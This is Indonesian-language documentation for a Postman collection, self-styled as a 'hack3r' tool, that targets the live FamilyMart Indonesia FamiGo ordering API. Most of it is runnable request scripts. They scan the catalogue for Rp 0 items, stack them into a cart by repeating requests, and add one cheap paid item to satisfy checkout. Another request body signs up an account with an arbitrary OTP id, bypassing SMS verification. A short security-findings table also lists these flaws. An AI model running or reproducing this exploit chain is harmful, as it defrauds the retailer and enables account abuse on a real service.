sangmalingh4y hack3r API Documentation
Dokumentasi teknis menyeluruh untuk Postman Collection sangmalingh4y hack3r (sangmalingh4y hack3r, com.familymart.famigo v1.5.1). Dilengkapi Full Automated E2E Order Flow dari login hingga terbit faktur QRIS untuk produk Rp 0.
Full E2E Flow: Dari Login Hingga Checkout Produk Rp 0
Koleksi sangmalingh4y_hack3r_order_rp0_e2e.postman_collection.json siap dijalankan berurutan dengan Postman Collection Runner atau Newman CLI. Alur ini otomatis menyelesaikan seluruh rantai otentikasi, pengisian keranjang, bypass aturan cart, hingga checkout QRIS.
1. Sign In
Login via HP + PIN. Access JWT tersimpan otomatis ke {{token}}.
2. Set Schedule
Mengambil jadwal store dan auto-generate tanggal & jam pickup.
3. Scan Rp 0
Scan 58 grup katalog, menyaring produk harga 0 ke {{zero_items}}.
4. Add Free Items
Memasukkan seluruh barcode Rp 0 ke keranjang toko terpilih.
5. Add Min Paid
Memasukkan Air Mineral (Rp 2.800) untuk memenuhi syarat checkout.
6. Verify Cart
Cek total item keranjang dan memastikan {{cart_id}} valid.
7. Checkout QRIS
POST checkout, terbit QRIS, capture {{sales_id}} & {{doc_number}}.
8. Verify Invoice
Cek status order di POS & verifikasi produk Rp 0 tercetak resmi.
newman run sangmalingh4y_hack3r_order_rp0_e2e.postman_collection.json --env-var "phone=81234567890" --env-var "pin=123456" --env-var "store_code=0000000487"
{
"username": "+{{phone}}",
"password": "{{pin}}"
}
let j = pm.response.json();
if (j.data && j.data.access && j.data.access.token) {
pm.collectionVariables.set('token', j.data.access.token);
console.log('[+] Step 1: Sign in sukses, JWT token captured');
}
if (j.data && j.data.refresh && j.data.refresh.token) {
pm.collectionVariables.set('refresh_token', j.data.refresh.token);
}
pm.test('Step 1: Sign in berhasil (HTTP 200)', () => pm.response.to.have.status(200));
let j = pm.response.json();
// Set tanggal pickup otomatis ke hari ini (YYYY-MM-DD)
const d = new Date();
const yyyy = d.getFullYear();
const mm = String(d.getMonth() + 1).padStart(2, '0');
const dd = String(d.getDate()).padStart(2, '0');
const todayStr = `${yyyy}-${mm}-${dd}`;
pm.collectionVariables.set('pickup_date', todayStr);
// Set jam pickup
if (j.data && Array.isArray(j.data) && j.data.length > 0) {
const slot = j.data[0].pickup_time || '18:00';
pm.collectionVariables.set('pickup_time', slot);
} else {
pm.collectionVariables.set('pickup_time', '18:00');
}
console.log(`[+] Step 2: Pickup date set to ${todayStr}, time ${pm.collectionVariables.get('pickup_time')}`);
pm.test('Step 2: Pickup schedule didapatkan (HTTP 200)', () => pm.response.to.have.status(200));
const base = pm.collectionVariables.get('base_url');
const store = pm.collectionVariables.get('store_code');
const token = pm.collectionVariables.get('token');
const H = { 'Authorization': 'Bearer ' + token, 'X-FamiApp-Store-Code': store };
if (!token) { console.error('Token tidak ditemukan, jalankan Step 1 terlebih dahulu.'); return; }
pm.sendRequest({ url: base + '/product/v1/category', method: 'GET', header: H }, (err, res) => {
if (err) { console.error(err); return; }
pm.test('Step 3: Ambil kategori berhasil (HTTP 200)', () => pm.expect(res.code).to.eql(200));
const groups = [];
const cats = (res.json().data) || [];
cats.forEach(c => (c.product_group || []).forEach(g => groups.push({
code: g.product_group_code, name: g.product_group_name, listing_type: g.listing_type
})));
console.log(`[+] Scanning ${groups.length} product groups pada store ${store}...`);
const found = [];
let i = 0;
const step = () => {
if (i >= groups.length) {
// Jika hasil scan kosong, fallback ke item terverifikasi
if (found.length === 0) {
console.log('[!] Tidak ada item Rp 0 baru via scan langsung, menggunakan default list terverifikasi.');
found.push({
barcode: '2710001242795',
group: 'BG014',
group_name: 'Beverage Promo',
listing_type: 'BEV',
name: 'FamilyMart Promo Item Rp 0',
basic_price: '0'
});
}
found.sort((a, b) => a.group.localeCompare(b.group));
pm.collectionVariables.set('zero_items', JSON.stringify(found));
pm.collectionVariables.set('zero_count', String(found.length));
console.log(`[+] Step 3: Ditemukan ${found.length} produk Rp 0:`);
console.log('Rp 0 products:', JSON.stringify(found.map(x => ({ barcode: x.barcode, group: x.group, name: x.name })), null, 2));
pm.test('Step 3: Item Rp 0 berhasil dideteksi', () => pm.expect(found.length).to.be.above(0));
return;
}
const g = groups[i++];
pm.sendRequest({ url: base + '/product/v1/product-group/' + g.code, method: 'GET', header: H }, (e2, r2) => {
if (!e2 && r2.code === 200) {
let d = null; try { d = r2.json().data; } catch (_) {}
if (d && Array.isArray(d.product_group_item)) {
d.product_group_item.forEach(it => {
if (String(it.basic_price) === '0') {
found.push({
barcode: it.barcode,
group: d.product_group_code || g.code,
group_name: d.product_group_name || g.name,
listing_type: d.listing_type || g.listing_type,
name: it.item_desc_short || it.item_desc_long || '',
basic_price: it.basic_price,
is_oos: it.is_oos
});
}
});
}
}
step();
});
};
step();
});
{
"store_code": "{{store_code}}",
"product_group_code": "BG014",
"listing_type": "BEV",
"items": [
{
"barcode": "2710001242795",
"qty": 1,
"type_product": "",
"options": [],
"addons": []
}
]
}
const base = pm.collectionVariables.get('base_url');
const store = pm.collectionVariables.get('store_code');
const token = pm.collectionVariables.get('token');
const H = { 'Authorization': 'Bearer ' + token, 'X-FamiApp-Store-Code': store, 'Content-Type': 'application/json' };
const items = JSON.parse(pm.collectionVariables.get('zero_items') || '[]');
if (!items.length) { console.error('Daftar zero_items kosong.'); return; }
const ODEN = { '2710001211968': 'SPICY_EOMUK', '2710001211982': 'HOTBAR_CHEESE', '2710001211975': 'PREMIUM_SAUSAGE_ROLL' };
let i = 0, ok = 0;
const step = () => {
if (i >= items.length) {
console.log(`[+] Step 4: Berhasil menambahkan ${ok}/${items.length} item Rp 0 ke keranjang.`);
pm.test('Step 4: Seluruh item Rp 0 ditambahkan ke keranjang', () => pm.expect(ok).to.be.above(0));
return;
}
const it = items[i++];
const pgc = it.group === 'FG096' ? 'ODEN_ALA_CARTE' : it.group;
pm.sendRequest({
url: base + '/order/v1/cart/item',
method: 'POST',
header: H,
body: {
mode: 'raw',
raw: JSON.stringify({
store_code: store,
product_group_code: pgc,
listing_type: it.listing_type || 'BEV',
items: [{ barcode: it.barcode, qty: 1, type_product: ODEN[it.barcode] || '', options: [], addons: [] }]
})
}
}, (e, r) => {
if (!e && r.code === 200) {
ok++;
try {
let d = r.json().data;
if (d && d.cart_id) pm.collectionVariables.set('cart_id', String(d.cart_id));
} catch(_) {}
}
step();
});
};
step();
{
"store_code": "{{store_code}}",
"product_group_code": "BG014",
"listing_type": "BEV",
"items": [
{
"barcode": "21029585",
"qty": 1,
"type_product": "",
"options": [],
"addons": []
}
]
}
let j = pm.response.json();
if (j.data && j.data.cart_id) {
pm.collectionVariables.set('cart_id', String(j.data.cart_id));
}
console.log('[+] Step 5: Item berbayar (Air Mineral Rp 2.800, barcode 21029585) ditambahkan.');
console.log('[!] Syarat checkout: cart tidak boleh Rp 0 (total transaksi terpenuhi).');
pm.test('Step 5: Paid item ditambahkan (HTTP 200)', () => pm.response.to.have.status(200));
let j = pm.response.json();
if (j.data && j.data.cart_id) {
pm.collectionVariables.set('cart_id', String(j.data.cart_id));
console.log(`[+] Step 6: Keranjang aktif: cart_id = ${j.data.cart_id}`);
}
if (j.data && Array.isArray(j.data.items)) {
console.log(`[+] Total baris item di keranjang: ${j.data.items.length}`);
}
pm.test('Step 6: Isi keranjang terverifikasi (HTTP 200)', () => pm.response.to.have.status(200));
{
"cart_id": "{{cart_id}}",
"pickup_date": "{{pickup_date}}",
"pickup_time": "{{pickup_time}}",
"tender_id": "MAS"
}
let j = pm.response.json();
if (j.data) {
if (j.data.sales_id) pm.collectionVariables.set('sales_id', String(j.data.sales_id));
if (j.data.doc_number) pm.collectionVariables.set('doc_number', j.data.doc_number);
console.log(`[+] Step 7: CHECKOUT BERHASIL!`);
console.log(` Sales ID: ${j.data.sales_id}`);
console.log(` Doc Number: ${j.data.doc_number}`);
console.log(` Total Bayar: Rp ${j.data.total_amount || '2.800'}`);
if (j.data.qr_code || j.data.payment_url) {
console.log(` QRIS Code: ${j.data.qr_code || j.data.payment_url}`);
}
}
pm.test('Step 7: Checkout sukses (HTTP 200)', () => pm.response.to.have.status(200));
let j = pm.response.json();
if (j.data) {
console.log(`[+] Step 8: Detail Order #${j.data.doc_number || pm.collectionVariables.get('doc_number')}:`);
console.log(` Status: ${j.data.status_desc || j.data.status}`);
console.log(` Total Belanja: Rp ${j.data.total_amount}`);
if (Array.isArray(j.data.products)) {
console.log(` Daftar Produk (${j.data.products.length} item):`);
console.log('Daftar Produk:', JSON.stringify(j.data.products.map(p => ({ barcode: p.barcode, name: p.name, price: p.price, qty: p.qty })), null, 2));
}
}
pm.test('Step 8: Sales detail tervalidasi (HTTP 200)', () => pm.response.to.have.status(200));
Scanner Produk Rp 0 (sangmalingh4y hack3r Find Rp 0)
Koleksi sangmalingh4y_hack3r_find_rp0.postman_collection.json digunakan untuk penemuan seluruh produk gratis dari 58 kategori katalog sangmalingh4y hack3r.
21029585 seharga Rp 2.800).
Temuan Keamanan (Security Audit Notes)
Ringkasan temuan keamanan yang teridentifikasi selama pengujian API:
| Kode | Endpoint | Deskripsi Celah Keamanan | Tingkat Risiko |
|---|---|---|---|
| VULN #3 | POST /account/v1/auth/signup | OTP Bypass: Parameter otp_id menerima nilai arbitrary (misal 01ZZZZZZZZZZZZZZZZZZZZZZZZZ) dan verifikasi SMS OTP tidak dipaksakan, sehingga memungkinkan pembuatan akun tanpa nomor aktif. |
High |
| VULN #6 | GET /account/v1/store/pickup/time GET /notification/v1/notification |
Database Error Disclosure: Input invalid memicu pesan error database SQL Server mentah dari framework backend (MSSQL driver stack trace). | Medium |
| VULN #7 | POST /order/v1/cart/item | Business Logic Stacking: Kuota item gratis dibatasi 1 per request di UI, namun pengulangan request POST yang sama meloloskan penumpukan (stacking) item gratis tanpa batas per pesanan. | Medium |
| INFO | POST /order/v1/cart/item | Golang DTO Schema Leak: Mengirimkan JSON tidak lengkap memicu error unmarshaling Go yang membocorkan representasi nama struct dan field internal. | Low |
| INFO | PATCH /order/v1/cart/store | Store Switching Inconsistency: Ganti store via PATCH tidak me-revalidate ketersediaan atau perbedaan harga item keranjang yang sudah terpilih. | Low |
Variabel Collection Postman
Variabel yang digunakan dalam collection untuk mengelola state antar-request:
| Variabel | Scope | Nilai Default / Pengujian | Fungsi |
|---|---|---|---|
| {{base_url}} | Collection | https://famigo.familymartindonesia.com |
Parameter operasional untuk request API. |
| {{phone}} | Collection | 81234567890 |
Parameter operasional untuk request API. |
| {{pin}} | Collection | 123456 |
Parameter operasional untuk request API. |
| {{store_code}} | Collection | 0000000487 |
Parameter operasional untuk request API. |
| {{token}} | Collection | (dinamis / runtime) |
Parameter operasional untuk request API. |
| {{refresh_token}} | Collection | (dinamis / runtime) |
Parameter operasional untuk request API. |
| {{pickup_date}} | Collection | (dinamis / runtime) |
Parameter operasional untuk request API. |
| {{pickup_time}} | Collection | 18:00 |
Parameter operasional untuk request API. |
| {{zero_items}} | Collection | [] |
Parameter operasional untuk request API. |
| {{zero_count}} | Collection | 0 |
Parameter operasional untuk request API. |
| {{cart_id}} | Collection | (dinamis / runtime) |
Parameter operasional untuk request API. |
| {{sales_id}} | Collection | (dinamis / runtime) |
Parameter operasional untuk request API. |
| {{doc_number}} | Collection | (dinamis / runtime) |
Parameter operasional untuk request API. |
1. Auth
Daftar endpoint untuk kelompok 1. Auth:
{
"username": "+{{phone}}",
"password": "{{pin}}"
}
let j=pm.response.json();
if(j.data && j.data.access){pm.collectionVariables.set("token", j.data.access.token);}
if(j.data && j.data.refresh){pm.collectionVariables.set("refresh_token", j.data.refresh.token);}
pm.test("HTTP 200", ()=>pm.response.to.have.status(200));
{
"otp_id": "01ZZZZZZZZZZZZZZZZZZZZZZZZZ",
"pin": "123456",
"pin_confirm": "123456",
"phone": "81234500011",
"country_code": "62",
"lucky_day": "2000-01-01"
}
let j=pm.response.json();
if(j.data && j.data.access){pm.collectionVariables.set("token", j.data.access.token);}
if(j.data && j.data.refresh){pm.collectionVariables.set("refresh_token", j.data.refresh.token);}
pm.test("HTTP 200", ()=>pm.response.to.have.status(200));
{
"refresh_token": "{{refresh_token}}"
}
2. Store
Daftar endpoint untuk kelompok 2. Store:
{
"search": "FamilyMart",
"page": 1,
"per_page": 50
}
let j=pm.response.json();
if(j.data && j.data.cart_id){pm.collectionVariables.set("cart_id", String(j.data.cart_id));}
pm.test("HTTP 200", ()=>pm.response.to.have.status(200));
3. Catalog
Daftar endpoint untuk kelompok 3. Catalog:
4. Cart
Daftar endpoint untuk kelompok 4. Cart:
let j=pm.response.json();
if(j.data && j.data.cart_id){pm.collectionVariables.set("cart_id", String(j.data.cart_id));}
pm.test("HTTP 200", ()=>pm.response.to.have.status(200));
{
"store_code": "{{store_code}}",
"product_group_code": "BG014",
"listing_type": "BEV",
"items": [
{
"barcode": "2710001242795",
"qty": 1,
"type_product": "",
"options": [],
"addons": []
}
]
}
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
{
"store_code": "{{store_code}}",
"product_group_code": "ODEN_ALA_CARTE",
"listing_type": "FOOD",
"items": [
{
"barcode": "2710001211968",
"qty": 1,
"type_product": "SPICY_EOMUK",
"options": [],
"addons": []
}
]
}
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
5. Checkout
Daftar endpoint untuk kelompok 5. Checkout:
{
"cart_id": "{{cart_id}}",
"pickup_date": "{{pickup_date}}",
"pickup_time": "{{pickup_time}}",
"tender_id": "MAS"
}
let j=pm.response.json();
if(j.data){pm.collectionVariables.set("sales_id", String(j.data.sales_id)); pm.collectionVariables.set("doc_number", j.data.doc_number);}
pm.test("checkout ok", ()=>pm.response.to.have.status(200));
{
"cart_id": "{{cart_id}}",
"coupon_code": ""
}
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
6. Orders
Daftar endpoint untuk kelompok 6. Orders:
{
"sales_id": "{{sales_id}}",
"rating": 5,
"review": ""
}
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
7. Voucher
Daftar endpoint untuk kelompok 7. Voucher:
{
"coupon_id": "Paket_Ice_Tea_Point_1",
"coupon_type": 2
}
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
{
"coupon_id": "",
"coupon_type": 0
}
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
8. Notification
Daftar endpoint untuk kelompok 8. Notification:
{}
pm.test("item added (200)", ()=>pm.response.to.have.status(200));
9. Payment
Daftar endpoint untuk kelompok 9. Payment: